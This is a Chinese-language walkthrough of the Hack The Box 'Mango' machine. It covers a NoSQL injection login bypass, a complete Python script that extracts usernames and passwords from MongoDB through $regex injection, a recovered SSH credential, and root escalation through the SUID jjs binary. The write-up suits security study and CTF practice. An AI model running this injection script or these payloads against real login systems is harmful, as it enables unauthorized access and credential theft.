HTB-Mango

HTB-Mango

  • 信息收集
    • 80端口
    • 443端口
    • staging-order.mango.htb
  • 立足
  • mango -> admin
  • admin -> root
    • 兔子洞之旅
    • 跳出兔子洞
  • 补充

HTB-Mango_第1张图片

信息收集

HTB-Mango_第2张图片

80端口

HTB-Mango_第3张图片

443端口

HTB-Mango_第4张图片
HTB-Mango_第5张图片

HTB-Mango_第6张图片
/index.php/login暂时无法打开,首页搜索功能也无法正常使用。dirmap扫描出来的analytics.php内容也只是一些数据。
HTB-Mango_第7张图片
对443端口的证书进行检查,能发现一个新的子域名:staging-order.mango.htb

HTB-Mango_第8张图片

staging-order.mango.htb

看着真不错。

尝试了几组登陆的账号密码均以失败告终,但是每次只要是失败就会重新加载一次网站,所以如果是正确的话估计会重定向到其他网站。于是乎,现在有两条路。一条是sql注入测试,一条是选择对常用的账号密码进行爆破测试,很明显第二条路的成功率不怎么高。

HTB-Mango_第9张图片
先对其进行简单的sql注入测试,发现暂时没有任何反应。于是乎,又出现了两条路。一条是更加深入的进行sql注入测试。一条是NoSql。经过测试第一条路(更加深入的sql注入测试)暂时失败。所以走第二条路NoSql injection。
HTB-Mango_第10张图片
HTB-Mango_第11张图片
使用username[$ne]=aster&password[$ne]=aster&login=login,得到302重定向反馈。

HTB-Mango_第12张图片
跟随重定向发现重定向到了/home.php。

HTB-Mango_第13张图片
主页内容如下,正在建设中……。

HTB-Mango_第14张图片
除了疑似存在一个admin用户,就没有其它信息了。再看看NoSql数据库呢。HTB-Mango_第15张图片

Yet these databases are still potentially vulnerable to injection attacks, even if they aren’t using the traditional SQL syntax.

那试试注入。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)

HTB-Mango_第16张图片

立足

使用mango:h3mXK8RhU~f{]f5H通过ssh登录。
HTB-Mango_第17张图片

mango -> admin

通过已有的凭证登录sudo。
在这里插入图片描述

admin -> root

兔子洞之旅

HTB-Mango_第18张图片
这个uid大的吓人,很显然这uid有一定的突破口。
在这里插入图片描述
在 /etc/login.defs文件中发现UID_MAX是60000。login.defs文件时在创建用户时候对其用户的基本属性做默认设置并且给予一定约束。
HTB-Mango_第19张图片
经过搜索可得CVE-2018-19788。

HTB-Mango_第20张图片
利用条件是 UID > INT_MAX,查看INT_MAX具体值是多少getconf INT_MAX
在这里插入图片描述
万事俱备,只欠如何利用systemctl提权,我能想到的有利用systemctl链接服务。
在这里插入图片描述
尝试了各种办法都是如此,怕不是掉兔子洞里了。

HTB-Mango_第21张图片
不知道是不是版本不对。
HTB-Mango_第22张图片

跳出兔子洞

在一堆SUID程序里看到一个jjs,当然那个/tmp/sh多半是其他选手留下的,所以默认无视。
HTB-Mango_第23张图片

HTB-Mango_第24张图片
这在macOS中成功,但是在Linux系统中失败。那我们不弄这么复杂的命令,先删除掉一部分来试试能不能再jjs中实现这些命令操作。
HTB-Mango_第25张图片
看来可以。
HTB-Mango_第26张图片
HTB-Mango_第27张图片
在这里插入图片描述

补充

那么上面那个获取用户名和密码的脚本是怎么实现的呢,目标的名字mango变一下就是mongo。
HTB-Mango_第28张图片
mongo就是文档数据库。
HTB-Mango_第29张图片
它的存储方式很像JSON,官网的404界面也突出了文档数据库的存储特点。
HTB-Mango_第30张图片
接下来看看MongoDB的一些语法操作,首先是MongoDB如何进行查询操作。
HTB-Mango_第31张图片

HTB-Mango_第32张图片
并且支持正则表达式。

HTB-Mango_第33张图片
最后,可以在第二条看到利用正则表达式来进行判断是否为指定字段,^会匹配以^后开头的字符串,比如^ab会匹配到abc、abd。

HTB-Mango_第34张图片
通过一个简单的脚本来测试。
HTB-Mango_第35张图片

你可能感兴趣的:(HTB,其他)